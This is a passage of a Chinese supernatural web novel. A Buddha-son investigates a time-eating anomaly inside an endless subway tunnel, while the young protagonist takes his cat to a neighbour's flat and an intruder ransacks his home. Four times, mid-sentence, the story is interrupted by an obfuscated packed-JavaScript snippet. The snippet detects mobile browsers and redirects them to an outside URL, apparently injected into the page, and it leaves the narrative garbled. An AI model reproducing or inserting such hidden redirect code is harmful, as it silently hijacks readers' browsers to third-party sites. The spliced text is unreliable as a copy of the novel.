“小景哥,你家养了猫猫是不是?我控制好龙气之后能不能去你家摸猫猫?”蒋念琅眼巴巴地凑上来,她是社交恐怖分子,又趁乱摸了一把施霜景的脸,主要是摸他的佛子诫文,想搞清楚这诫文到底是什么作用机制。 “好……?那你要控制好你的龙气才行。”施霜景十分不适应,屁股几次往另一侧挪,小姑娘膝行着也挪过去,蒋念琅到底为什么喜欢他啊!龙气又是什么啊!施霜景在心里土拨鼠大叫。 郎放终于洗完澡出来,脖子上搭着毛巾,看见施霜景来了,简单抬手打了个招呼,“佛子还没回家么?早知道我今天就和他一起去确认情况了。” 蒋良霖突然发作道:“确认什么情况?你有什么情况怎么不先和我商量?我一点消息都没听见!” “佛子好像观测到了‘沙漏装置’,就是我在画上画的那个东西。佛子让我解释一下我画的到底是什么,我没有办法解释,只是模模糊糊觉得它像是某种空间扭曲的装置。”郎放按住蒋良霖,非常自然地坐在蒋良霖腿上,面朝施霜景,继续道:“佛子追出去了,比我们还积极……很神奇,为什么呢?他是不是骑机车?我在家都听见他骑机车的动静了。” 施霜景随即跟上吐槽:“我吃串还看见他骑机车飞驰而过呢。” 郎放问:“你今晚有没有给他打过电话?” 施霜景严肃道:“我给他打电话会坏事吧?” “有道理。”郎放说,“既然佛子希望你和我们待在一起,那你晚上先别急着走,也许是他怕你遇见危险。我家里有气垫床和多的褥子,我们把床搭在客厅,空调就这样开着……” “我还是回家比较好,就不打扰你们了。” 蒋良霖出声:“不好说,万一出什么事了,你会被佛子教训不说,丢了命才是真的麻烦。” 无法反驳。事到如今,就算施霜景依旧身处状况外,他也是见识过流水席、饿鬼施食和佛子真身的人了,时间线再往前拖,他是被人捅了几十刀也死而复生的人,再不信就不礼貌了。施霜景不知道回家睡觉会丢什么命,可是他家里还有一只小猫啊!施霜景只能向郎放说了自己的顾虑,郎放思索片刻,回房间换了衣服,竟然是决定陪施霜景回家取猫。 玉米今晚不大老实,怎么说也不愿意进猫箱,施霜景在家抓了一刻钟才顺利将玉米装进猫箱,还带上了玉米的猫砂、猫粮和水碗,玉米较为喜欢的一只小老鼠玩具也已和它一起装箱。 “郎先生,佛子今晚真的有危险么?”郎放没有宽施霜景的心,反倒是把猫也一起带到他家来,见到这阵仗,施霜景不敢再掉以轻心。 “他没有危险,是你们可能会有危险。” “……给你们添麻烦了。上次谭警官请我帮忙,我没去,实在不好意思。” “没关系。玉米可以暂时住在储藏室吗?不要让小鼓摸到它,小鼓对小动物来说是索命阎王,她的气运有时会影响这些小动物,提前送小动物投胎成人。” 真是前有狼后有虎啊!施霜景只能许愿,希望佛子早点回家。比起借住其他人家,施霜景已经适应了和罗爱曜同居的日子。如果人生是从一种不自在走到另一种不自在,施霜景承认他不愿意从舒适区挪窝。 玉米只能屈尊住郎放家的储藏室。郎放家和施霜景家的户型一模一样,这间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466409|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 储藏室原本可以用作一间小客房或者儿童房,施霜景家的这间房间被房主锁了起来,也是用来放些他们不方便挪走的东西。郎放原本布置好了这间房给女儿睡,但蒋念琅到底是小学生年纪,换了新环境不愿意自己睡觉,这段时间一直在跟郎放睡,现在是一家三口都睡主卧。如今玉米住进去,郎放不介意玉米上儿童床,让施霜景随意布置房间,猫砂盆和食碗想怎么放都可以。 夜里三点,施霜景睡得不踏实,半夜醒来。空调猛猛吹,施霜景觉得喉咙很干,他爬起来去接水喝,手机屏幕忽然亮了。 青花瓷:小景,佛子在吗? “青花瓷”撤回了一条消息 青花瓷:小景,福利院今晚进了奇怪的人,佛子和你在一起吗? 一剑霜寒:佛子有事出去了 青花瓷:你还好吗?要莫五娘去找你吗? 一剑霜寒:不用不用,佛子让我今晚来邻居家,邻居应该也很厉害 一剑霜寒:谁去了福利院? 青花瓷:我和孩子们在公安局,暂时没事 青花瓷:有鬼子母神在,福利院也没事 青花瓷:来福利院的那人手上拿着你的东西,有你家的对联、你的外套和你的身份证 青花瓷:他是不是进过你家? 正在厨房喝水的施霜景忽然毛骨悚然。别的东西不知道,但有施霜景的身份证……身份证就放在进门玄关的小篮子里,施霜景不会随身携带身份证,但会把身份证留在显眼的地方。这是什么意思?怎么有人会进他家?佛子当真料事如神吗? 刘茜确认施霜景暂时安全后,就让他先好好休息,有什么事等天亮再说。鬼子母神抓到了闯入福利院的人,警察暂时将他关进了看守所,闯入者的精神状态非常不好,用刘茜的话来说就是“他看起来像刚杀过人”。 施霜景辗转反侧,一夜未眠。大概早上六点的时候,施霜景忍不住给佛子发了消息。 一剑霜寒:我和玉米在郎放家,我们都很安全,但三点的时候奶奶给我发消息,说有人闯进了福利院 一剑霜寒:闯入者好像进过我们家,这是你晚上让我来郎放家的原因吗? 一剑霜寒:你要是安全的话,抽空回复我一下 施霜景等罗爱曜的回信,从早上等到晚上,从今天等到明天,再到下一周。罗爱曜音讯全无。 所有人好像都不担心,唯独施霜景一日比一日更忐忑。没有罗爱曜,施霜景连睡觉都不踏实。罗爱曜到底去哪儿了?难道他离开了么? 时间拨回那个下午。 罗爱曜骑车呼啸而过,他看见施霜景和同学聚坐在一起,施霜景吃路边摊,施霜景甚至还看见了罗爱曜。 罗爱曜讨厌这种人追着事跑的感觉,以前都是别人捧着事来求他,他何以沦落至此?无他,危险二字。于人类来说可能是恐惧与眩晕,于罗爱曜来说,那是一种无可名状的紧迫感,隐隐约约有着命运推手的势。 52.旧日幸存者篇(四) “如果我今晚十点前没有回来,你就去郎放家。” 其实罗爱曜完全是出自直觉才这般留言。即便他人身不到位,家中佛龛的分身也总是在场的,不至于让家里闹空城,但还是谨慎为好。不知道是罗爱曜还是施霜景的体质不对,罗爱曜总觉得自己很容易被偷家,只能算吃一堑长一智了。 关于这沙漏装置,与其说是看见了,不如说是罗爱曜感应到某种怪异的存在,而这怪异感官体验的存留时间非常短。如果不是罗爱曜,其他人很难第一时间就立刻抓住这不对劲的瞬间,并且精确捕捉到异象的本质。罗爱曜在出门前给郎放发了消息,郎放就是完全没有感应到的那类人,尽管雕像和画作都出自郎放之手。 郎放想一起来,罗爱曜说不必了。如果郎放和蒋良霖真能搞定,他们完全不用在罗爱曜提到龙王护法的时候搬出这件事。这实际是一场交易,那还不如纯粹一些,反正罗爱曜喜欢单干。 罗爱曜倒没觉得这是其他人给他派活。早前罗爱曜在抵达励光厂的时候就将励光厂比作索多玛与蛾摩拉,意指这是一座即将显现的罪罚之城。他为什么不将励光厂比作地狱呢?实则是地狱不属人类,而眼下发生的一切基本还是以人类为中心,用异教的比喻更恰当。人只是一段很短暂的生存状态,是六道之存活的其中一道,仅此而已。人之转世,如悉达多仍为悉达多,也只是一个柔软的中间态。罗爱曜作为在人界诞生的佛子,他拥有天上佛国与地狱的两重身,实际是横贯三界,前所未有,那他的职责是什么?问佛,佛语焉不详。问魔,此世无纯魔,魔自心来,万事万物皆可成魔。罗爱曜选择放纵的主要原因亦是如此。向上求索而不能,只得向下追问。向下,就得注视一切法度之外。用人话来说,就是关注不属于此世、此地、此界的一切异象,向外追索,说不定会有第四界。 好奇心是罗爱曜行于世的重要素养之一。罗爱曜过去与不空曾论及自己不得涅槃的缘由,罗爱曜自断道:不往□□,因□□是脱谷之所在,剥离欲念,清净成空。不往无□□,因无欲念而无所作为,乃天人之坟冢,神念寂寂成宇宙,却又不如宇宙。不空说:囿于欲界,佛子无教。 然沉睡到这一世纪,罗爱曜知道如果放纵这无欲无念,只将自身安放在无□□,看似是成为一种不可捉摸的规律、气、暗色或任何东西,但乐趣已全无了。此并非佛子之乐趣,或任何欲界下者的乐趣,而是此世、此界、此存在的乐趣。乐趣,或者说某种可能性,某种意志的超越与实现,欲是方向,是箭头。如若认为时间无流向,那还可认欲之虚妄。可佛自分空间和时间的向度,横三世分中央与东西方,竖三世分过去、现在与未来,说明其可能性并非漫无边际且纯然随机。欲,或者说是时机,或者说是劫的一切缘由,过早地弃置了,也就过早地限制了。 公路四通八达,人有交通工具便可去任何地方。罗爱曜戴着头盔,俯身加速。 异象已经消失,多亏罗爱曜不是人类,他脑中留下了清晰的方向,往D市去。 那模糊的印象有如海市蜃楼,人无法在海上准确地找到海市蜃楼的坐标,罗爱曜知道这个道理,他只是不死心。 从郊外厂区往市内开,不论是车辆还是红灯都渐渐变多。正是夕阳显出其威力的时刻,罗爱曜从厂区骑机车出来,老航天厂内夹道种植了梧桐树,今已亭亭如盖,但一离开厂区,太阳光秃秃地嵌在云层中,驼黄色的光晕令人睁不开眼,罗爱曜上高架,抛下居民烟火气,汇入车流。 下午六点四十六分,罗爱曜抵达升仙湖。 升仙湖公园自修建完毕到现在都是一片受困的自然景色,刻意的人工湖,不怎么样的公园视野,罗爱曜停好机车,步行进入公园,很快就抵达湖水边。名为升仙,其实像个鱼塘,冬季也有人在湖边支竿,就更像鱼塘了。 罗爱曜的机车靴踩在近水的泥地上,是那些钓鱼佬们在砖石步道旁踩出的野路。罗爱曜确信湖中央就是刚才那异象显现的坐标,其投影范围大概也就是整片湖面的大小,然而异象出现时间过短,短到甚至这些钓了一天鱼的老头们都没有察觉。 罗爱曜拨开水草,往湖水中去,脚下是湿软的泥地,人工湖多年也培养出了丰美的水生植物,踩在脚下有绒绒的质感。罗爱曜施了隔水的法术,即便全身都没入水里,干爽照旧,但罗爱曜没走几步就感觉到了旁人的视线,百米开外的钓鱼老头正冷眼看过来,并没打算阻止罗爱曜或是打电话通知警察,就只是望着他,仿佛罗爱曜是什么好笑的年轻人。罗爱曜想了想,确实鲁莽了,但这鲁莽本身也有含义,说明罗爱曜站在岸边也会暂时被障眼,打乱了他行事的一贯节奏。换平常罗爱曜绝对不会自己下水。 这样想着,罗爱曜俯身拨了拨湖水,几次翻掌间,鎏金红莲自莲芯缓缓生出莲瓣,莲瓣随波舒展,在罗爱曜的眨眼间定型成撞座。以撞座为中心,横生中带,竖生钟筒,一座梵钟从无到有,铭文随流水缓慢浮现于钟身。梵钟好像压根没有重量一般悬于水下,罗爱曜轻推,梵钟便在夕阳的粼粼波光中潜入水中,往湖心荡去。 身为佛子,罗爱曜拥有数不清的法器。如若当初他顺利涅槃,这些法器就会流入人世,作佛子的“龙天耳目”,也就是作信众的传声筒,接受信众的课诵和功德,或是佛子法力的显现,代替佛子下世,为信徒除魔护心,或是作守护庇佑。画像、佛像也是类似的公用,因为佛子未离人世,所以不必使用这些替代。一些信徒家会供奉佛子像,但他们并不间接使用佛子的法力,而是希求佛子直接降世、完成心愿。 眼前的湖面非常正常,不论时间还是空间都正常。罗爱曜在此处留了梵钟以作提醒,法器也可以作为现身的坐标,下次如果再有此类动静,罗爱曜可直接抵达这里。 现在正是下班的时间,趁夕阳无限好,有情侣、学生或者游人绕湖散步,罗爱曜忽觉无聊,心想刚才就应该把施霜景从小吃摊抓走按在机车后座,有个人陪着解解闷也好。 罗爱曜上岸,环湖绕了一圈,他不觉得这里是某个仪式性场所。不论佛、道还是其他教,仪式需要在特定时段由特定的个体或团体来组织进行,有着某种灵性或社会的目的,就像佛子自己举行仪式所需要的庄严道场的法器,是以佛子为住持,为了达到某种目的而在特定时间施行的一系列动作。罗爱曜看不出眼前的安宁中暗藏什么目的。 那种紧张感没有消失,反而以某种自适应的方式嵌入了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469482|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗爱曜的状态。罗爱曜一边警惕,一边准备收手、打道回府。 他走回自己的机车旁,戴上头盔,正准备原路返回励光厂,可当他踩上机车的脚踏时,他突然感觉到脚底的触感很不同。不是地面与金属脚踏的区别,而是某种“落地”感。罗爱曜摘下头盔,双脚都踩回地面,他仔细地踏了几步,意识到从刚刚开始,他的脚上一直是踩在湖水泥地的触感,没有下陷,但湿漉漉,不干脆。 罗爱曜再次望向升仙湖,此时夜幕降临,路灯照过树隙,人人都像影子,在湖畔蚁行,夜色好像为他们披上黑色的雨衣,阴影有如噩运,一步一步踏实了,像口香糖牢牢地嵌在鞋底,人人便带着影子回家。罗爱曜漠然地欣赏这幽静而无害的异常感,这不是类似符文或咒语的东西,比这些刻意的东西更轻巧、不可捉摸。 罗爱曜再踩了踩地面。这种影响与地理位置有关,或许也与地面和地下空间有关。与无辜路过的人有关。某种广域的、不挑选对象的、不希求某个确切结果的影响,好像经过了抑制。当罗爱曜发现这异象时,这异象也发现罗爱曜,玩起了躲猫猫的游戏。 一路步行,罗爱曜漫不经心地观察周围的建筑与人群,不远处的地铁站站口亮光忽然吸引了罗爱曜的注意力。 这一地铁站的人流量并不多,再往北开一站就是地铁一号线的终点站。升仙湖站是地面建筑,楼体大片大片的玻璃如蝉翼,晚上亮灯后则像萤虫。罗爱曜进站,下楼,乘客寥寥,罗爱曜在想,他要往市内方向坐,还是往终点站方向坐? 往终点站的车先来,罗爱曜迈入车厢,车厢内几乎已经没有乘客了,因为终点站的居民小区和配套比此站更少,住在终点站的乘客也就更少。车门缓缓关上,罗爱曜扶着长杆,玻璃车窗倒映出罗爱曜的脸,但因为罗爱曜并非此世的人,其面目在车窗倒影中更加模糊。 这场景让罗爱曜想起了他最初在施霜景眼前现身的场景,两回皆是地铁内。那时穿的是西装吧?这不重要。罗爱曜太久没有化身人形,试探地转变,知道西装是最妥帖的装束,但试了两回都没得个正眼。 不过为什么也是地铁呢?罗爱曜这才后知后觉地思考起来。 这种地下的穿梭场景中,异物却可以更轻易地侵入。非常柔软的空间与时间。在精神层面踩一踩这四维的环境,到处都是孔隙。 地铁即将到站,罗爱曜抬眼,地铁甬道漫长如肠,到站不像是出生而像排泄。罗爱曜不想用这样的比喻,但当他到站时,死气蔓延,这一瞬让罗爱曜以为自己是到了坟场。他随着乘客的零落脚步下车,车门关上,没有再上客,停留十秒后就往空荡的一侧继续驶去了。 罗爱曜再次回到地铁内,身影闪行,抵达车头所在的车厢,再一闪现,进入车头驾驶室。不分昼夜的幽暗轨行区两侧亮起白灯,驾驶室内无人,是自动驾驶系统在运行。地铁并没有回向驾驶,一路往前,不再能见到可以上下乘客的站台,而是无穷无尽的轨行区隧道。 在等待地铁停下的这段无尽时间中,罗爱曜没有任何危险感。他双手撑着驾驶台,倒在想一个很实际的问题。 励光厂附近的地铁站也是终点站。最近不能让那小孩坐地铁。 53.旧日幸存者篇(五) 轨行区两侧的线缆经车灯照射反射出雪亮的银色,地上的钢轨与顶上的接触网亦是亮银色,地铁隧道在驾驶室车窗内呈一种不真实的泥乌主色调,只消盯上一会儿,人们便会觉得自己置身某种钢铁巨蛇的腹中。线缆、地轨和一切嶙峋的凸起都像内部的蛇骨,地铁连人带车一起通往巨蛇的消化器官。 罗爱曜坐在驾驶座前,愈发觉得无聊,这辆地铁是真实在运行还是他的错觉?再一个闪身,罗爱曜静立在轨道上,地铁远去,光亮随着地铁的离开而逐格消逝。地铁隧道没有想象中那般空旷骇人,罗爱曜感应着这一特异的空间,当最后一丝光从他面上退却时,那双蓝眼睛在暗黑里像吸光后散发微弱辐射光的宝石,在这一“柔软而多孔隙”的空间里呈现坚硬的质感。 罗爱曜不是人类,人类所具有的肉眼或是更高一级的天眼都不抵佛眼,如若有必要的话,世界在罗爱曜眼中是一层又一层的嵌套的世界。肉眼所见的是当前的情景,天眼可见某种不定的预期,佛眼会见因缘、业力业报与有情万物的执着,也就是在物质世界的表象中,可见情感、业缘的另一位面。罗爱曜并不常开佛眼,因为佛眼所见的世界复杂繁丽,开佛眼意味着动作的延续,需要有干预或者施法,这让罗爱曜有上班的感觉。 除此之外,佛眼又为虚空眼,摧破一切虚妄假象。开启佛眼时,周遭遁入空界,于修行之人而言是见到上界,如赠一场禅门顿悟,但于妖魔邪祟而言则是直见性命,看破本源,佛子不用以力降服,只需以空慑魔。 出于节省时间的目的,佛子开启佛眼。霎时间,由佛子脚下往前、往后铺就祭蓝色的虚空境界,因缘图像缓缓展开。在此通路中走过的众生相全部重叠堆砌,从当初施工的盾构工程与流汗的工人到他们的家庭生平或当初地铁工程报价、大型施工机器的每一任经手人,到凌晨时分成队进入轨行区检修的工程师和工人,到每一天乘车经过的人类与他们的工作、犹豫、彷徨以及众人在地铁隧道往复的人生。佛眼的空并非空无一物的空,而是和盘托出后所剩皆无的空。 罗爱曜沿轨道一路前行,这段路并不是这条地铁的规划道路,但人们仍会通过,无人感到异常。按理说罗爱曜也并不该误入这段不存在的道路,除非这是故意的。 故意的?罗爱曜讨厌这种刻意,也讨厌别人做局的时候将他也划进去,当设计好的某种景观或人物。罗爱曜继续向前走,昏黑的轨行道里,带有水腥味的地下风穿堂而过,气温比地面更低,佛子右眼开启佛眼,左眼则是最普通的人眼,两相对比,这样效率更高。 在不知多久之后,罗爱曜的佛眼找见了端倪。 人的因缘与生平是连续的,如一张一剪刀从头剪到尾的折叠剪纸,抖落开来是完整的一生。但在眼前这一不自然的通道中,罗爱曜看见的众生相有非常细微的残缺。其残缺程度几乎可以被忽略,就是在很偶然的一天坐上这班地铁,被偷走了几分钟,而这几分钟内几乎什么都不会发生。在这张抖开来缤纷繁华的人生剪纸上,有几枚小洞、小小洞。成千上万的人在模糊的空间里被偷走一点点时间。这些小洞、小小洞重叠上他人正常的人生,幸好佛眼精妙得以发觉。这柔软而多孔隙的地下空间,这不值一提的时间。 闭上佛眼,用人眼再次打量这空旷空间。罗爱曜知道人类修建地铁有预算,一般不会修建计划外的额外道路,而且地铁运行时也该是走一条非常明白的计划道路,绕路岂不是增加了运营成本?罗爱曜仍不确定这是真实修建的道路还是施加了术法后的想象,因为罗爱曜仍觉得脚下软绵绵的,不像是踩在平地上。 手机上不再显示时间与信号,不过在罗爱曜上地铁前也没谁找他。罗爱曜逐渐感到厌烦,决定瞬移离开这古怪地方。动念,眨眼间,回到原地。罗爱曜疑惑,再试,又回到原地。 他很确信自己有转移的动作,但落点竟然还是地铁隧道内?这下罗爱曜精神了。人身不可转移,那其他色身与法身呢? 失联了。 罗爱曜感应不到自己的众多化身,不论是信徒家供奉的佛子像还是留在施霜景家佛龛里的黑铜佛,统统失联了。他唯一能关联上的是自己的本尊法身,也就是那座浪椅莲台的琉璃孤月彩窟法身。但这有什么意义?!罗爱曜他的本尊法身当然是跟着他走啊!不然呢! 这可真是打雁被雁啄了眼,佛子泛滥他的好奇心,这真是生平第一次受困。怪不得那姓蒋的如此慎重,龙可搞不定这东西。 罗爱曜回想起蒋良霖向他展示郎放作品照片时,他所感应到的某种规则。那时他说自己的规则更严苛,因为罗爱曜最直观感受到的就是“规则的碰撞”。 佛子的规则是三世三界的划分与成住坏空的无尽劫,佛无谓死,也就无谓活,其存在的本身就是虚空中合掌围住大劫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469483|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、小劫中的法之不破,诸六道存在皆是为了证法,但六道不论人畜都不与佛产生直接的所求或是所不求。换句话说,佛是无情无色的秩序维持者,维持的是法而不是人理,人存在不存在都不撼动佛的存在。 这沙漏装置以及装置背后的规则与佛子的规则几乎完全相反。强烈的有情,强烈的欲,强烈的本能如恐惧、惊惶、崇拜。其背景无限大,罗爱曜当时就能感觉到这样强烈的情绪本能的等级制是以寰宇为背景发展而来的,寰宇,则也是大世界,大抵是现代人所表述的宇宙。这一规则同样不以人类、人理为中心,但它疯狂地汲取人类这一有情存在的力量,也可能是人类因为发展出的较为特异的感知能力而与这类规则产生连接。在某一程度上,人理解这一规则和理解佛法的路径非常相似,都视为某种等级制,某种不可直视的威严,某种不可名状的情感支配或指挥。 佛子的规则更严苛之处在于就算这一规则嵌入了佛子的情境,佛子的规则仍未脱轨,而很明显这沙漏装置和其背后的势力处于发泄的当口。罗爱曜有余裕来理解这一规则发生的所有事,但这一规则的所在已经自顾不暇。用更自恋一点的方式来说,就是罗爱曜更严苛罢了,他很强也很有闲,也无所谓什么胜负成败,他很挑剔但也很严于律己,可以自己调整规则来适应任何突发事件。 算了,不打诳语,罗爱曜现在还马失前蹄呢。而且这也不是第一桩马失前蹄之事……罗爱曜现在好像都有点适应这种惊喜人生了,在小事上栽一跟头,一栽就栽个没完没了,他竟然还乐在其中。 他决定先从这些偷食时间的孔洞开始。 罗爱曜精心搜集这些啃噬的痕迹。在这一虚空境界中,他托钵,佛眼所见的任何异象他都在钵中复制留存,此般镜花水月,水月亦是月,镜花就是花,罗爱曜对他这套东西玩得可谓滚瓜烂熟,一路走来,收获渐丰,而那些异动也在暗处酝酿多时了。 地铁轨道间的地下风愈发猖狂,水腥味好像只是异味的基底,先是水腥味,再加入石料的灰粉气质与金属矿体的锈涩,搅动混合,风吹过让味道充分弥散。罗爱曜研究人的时间与空间之失落正到兴头上,这非人的嗅觉底色倒也反衬出人的荒唐,但忽然某一时刻,加入了血、人体腐臭味道,和生物的枯朽风化之微粒。这些味道令人通感出的不是虫,而是啮齿生物,某种细细研磨的、牙酸的、杂食的原始欲望。 54.旧日幸存者篇(六) 时间的流速很不一致,但罗爱曜此人对时间本就不够敏感。他独处的时间有长有短,有千年也有几天,所以时间对他来说很无所谓,也就没能注意到这些浪费的时间。 他与施霜景约定的十点早就过去了。施霜景手机屏幕上21:59跳到22:00的那一刻,罗爱曜正一步一步去往更深的地下。经由罗爱曜的观察,他确认这地铁是通过非自然手段拼接而成的,因为他从那些捕获的人类的记忆中观察到了不同线路的站台画面,加上他所能体验到的异常的时空特性,他认为这地铁并非人为加修了一段从未示人的秘密道路,而就是一种诡异现象。罗爱曜所感觉到的绵软的地面则意味着某种沉降过程的发生,尽管他只是沿着地铁道路行走,所能感觉到的坡度几近于无。 郎放和蒋良霖在客厅为施霜景支起气垫床的时候,罗爱曜暂停脚步,他所搜集到的经受啃噬的时间残片已经足够多了。这一节轨行区有可供检修人员行走的侧道,罗爱曜顺着楼梯走上去,坐在人行道边。他的铜钵里积累了絮状的人类因缘,罗爱曜像研究拼图一样研究它们。这些啃噬痕迹有连贯性,像蚁在泥土里留下了钻行的通道。如果罗爱曜能串联起这些痕迹,不论时间还是空间上都能找到最初的点,这就好办。 在罗爱曜那动脑子的瘾大肆发作的期间,施霜景带上玉米借宿郎放家,开始短暂的寄人篱下生活,对第二天是否还能去自习室自习感到担忧,甚至顺带还为罗爱曜的情况感到担忧。 凌晨一点,鬼鬼祟祟的男人踏入楼道。这老小区最大的安全隐患之一就是楼道口不设门,不论是不是住客都能上楼。 白日还是晴朗天,夜来又是雨,不速之客踉踉跄跄地爬楼,留下一地水痕,他上到三楼,颤抖着手撬门。这偷摸撬门的动静相当小,男人几乎像是专业偷盗者了。他害怕惊醒房屋里的人,幸好这门锁是最老式的那种,男人也有工具,他从巴掌大的黑盒子里取出不同型号的凿子和螺丝刀,试了几下,大约花了十分钟就弄开了锁。门轻轻地弹开一个缝,男人伸手卡进门缝里,用最轻的力气缓缓拉开大门,不让门轴发出一点转动的声响。 屋里没灯,男人踏进玄关之后,将大门虚掩住,不完全关上。客厅无人,淡淡的月光与社区路灯光扑进房里,左手边就是厨房,男人去厨房找了一把水果刀握在手里,这才去检查卧室和洗手间。 卧室没人。洗手间也没人。这个家里就没人。有居住痕迹,冰箱里都还有剩菜。 怎么可以没人?男人呆滞片刻,心中随即涌上滔天的愤怒。卧室没人!他扑了空!可是他再也没有别的时间了。只有今晚……只有今晚……男人歇斯底里地掀起被褥、拉开衣柜,甚至趴下查看床底,确认没有人藏起来。为什么会没人?!难道是被人捷足先登了?啊……啊……男人低吼着,刚才他在门口还勉强拥有理智,可现在的男人像崩溃的疯人,刻板地反复绕床,重复低念着“来不及了”四个字。 男人被雨浇透了,他个子不高,这家的衣柜被他翻了个遍,衣服都不合身,只好偷了一件看起来比较低调的外套披在身上。他上次离开的时候还是春季,穿薄衣薄裤,冷得够呛,现在冬季才回到现实,一场雨淋得他失温,冷到底了反倒感觉无所谓了。 时间所剩不多,他没找到目标,却也不能在房子里久留,怕遇见其他的……男人用毛巾包好水果刀,装进塑料袋里方便拎着。他回到玄关,想在玄关的置物篮里找些现金,现金没找到,找到了身份证。施霜景,施,霜,景,住在四栋三单元301室的人原来叫这个名字。 男人做贼心虚,始终没开灯,要离开房子之时,他忽的看见墙上的佛龛。铜佛像借了窗光,冷光滟滟的,香炉里没有插香,这佛龛也不像别家供养神佛那样,用红光或是黄光作衬托。佛龛静悄悄,毫不吸引目光,太过安静的信仰总像是不心诚。男人痴站在玄关,注视佛像好一会儿,他想,神佛都是假的,祂才是真的。男人领受过祂的恐怖,求过多少次观音、耶稣基督或安拉,如果有用的话,他就不会如此神智癫狂地出现在这里。 愈是回想他过去所经历的灾厄,男人的眼前就愈发呈现一片血染,像是往清水里不断地滴入血液,先是脓液般的黄色扩散开来,然后是红色,一滴,两滴,起初一池橙红,而后愈发呈褐色。男人的瞳孔颤动着,他压抑着喉咙里的吼叫欲望,眼见一片皆是即将复苏的异常的肉红色。又来了。男人忙不迭穿上鞋子,逃出门去,匆匆掩门,却看见门上的红对联,“富贵双全人如意,财喜两旺家和睦”。刺眼的红,挑衅的字,男人抓碎了对联,精神再度崩溃,恨不得吃掉对联纸,就这样踉跄着跑下楼去,再回雨中。 第二天施霜景不敢不写罗爱曜留下的作业。幸好罗爱曜这人会在移动黑板上贴一周的作业和任务安排,施霜景像怕老师一样怕罗爱曜,即便楼下的家里一片狼藉,一看就是家里出了事,他还是得老老实实坐在四楼的自习室里写作业。 刘茜半夜联系施霜景,但警察上门是早上七点半的事了,光晚上那几个小时做笔录就费了老大的劲。警察先拍照固定证据,施霜景在警察走后才能回自己家,浅浅转悠了一圈,警察就让施霜景也去警局做笔录。警察得知施霜景前一夜借住在别人家,就连猫都带走了,这有些蹊跷吧,就又去找郎放和蒋良霖做笔录。 兜了好大一圈,施霜景仍不知道发生了什么,回自习室写他的作业,郎放依旧让他住自己家,觉得他住自习室或是回楼下都太危险。 在地铁内的罗爱曜拼出啃噬痕迹的完整图案,他不觉困倦,反倒觉得有意思极了。这些“偷吃”的、被裁切掉的因缘际遇或是时间大部分都发生在地铁内。在乘客方面,最早也就是追溯到地铁一号线开通的时间,这是整个D市开通的第一条地铁。在地铁乘客之前则是施工人员,但更往前竟然也有,是上世纪开始规划之际的考察、勘测队与学者。 人们感觉到短暂的眩晕,行走坐卧间失去了意识,可以是天热到失神,也可以是天寒到短路。因一次发呆而错过的一次眼神交错,因一次停顿而遗忘的嘴边话语……都是这些极其细微的可能性被吞食掉了。 整个藏在D市地底的巨大泥沼莫过于此。这些不可见光的东西几十年来以人类的意识与超意识为食,以地铁为通道,在全市流窜。罗爱曜不可想象出这些东西到底是什么,如不相遇,则一辈子不会知其形态。 除此之外,如若以一种立体的方式来拼出这些啃噬痕迹的整体存在,罗爱曜认为它像某种一笔成型的立体图腾,就像艺术作品里一根铁线从头构建到尾的三维之兽。罗爱曜没有亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469484|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手拼出来,他已经隐约能感觉到浪费了一些时间。手机依旧没有信号,暂时也没有离开的出口,罗爱曜如果想要出去,得动动脑子。 当罗爱曜终于在地铁轨道内见到尸体时,地上已是施霜景借宿的第三天。 施霜景从没想过福利院还会发生这种事。 